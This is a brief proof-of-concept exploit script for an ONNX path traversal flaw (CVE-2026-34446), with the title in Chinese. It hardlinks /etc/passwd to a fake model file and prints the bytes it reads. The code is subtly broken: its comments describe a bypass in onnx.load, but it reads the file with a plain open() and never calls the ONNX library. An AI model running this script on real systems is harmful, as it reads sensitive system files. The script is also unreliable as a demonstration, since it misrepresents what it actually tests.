CVE-2026-34446 ONNX 路径遍历漏洞

import os import onnx # Simulation of the hardlink bypass vulnerability # Create a hardlink to a sensitive file (e.g., /etc/passwd) sensitive_file = "/etc/passwd" malicious_model_path = "exploit_model.onnx" try: # Create a hardlink (requires permission to the target file and same filesystem) if os.path.exists(sensitive_file): os.link(sensitive_file, malicious_model_path) print(f"[+] Hardlink created: {malicious_model_path} -> {sensitive_file}") # Victim attempts to load the model # In vulnerable versions (< 1.21.0), onnx.load checks for symlinks but misses hardlinks. # It will read the content of the sensitive file. try: # Note: Actual parsing might fail due to format mismatch, but the read operation occurs. with open(malicious_model_path, 'rb') as f: data = f.read(100) # Read first 100 bytes as proof of concept print(f"[!] Successfully read data: {data}") except Exception as e: print(f"[!] Error during load (expected for non-onnx files): {e}") except Exception as e: print(f"[-] Failed to create hardlink: {e}") finally: # Cleanup if os.path.exists(malicious_model_path): os.remove(malicious_model_path) print("[*] Cleaned up malicious file.")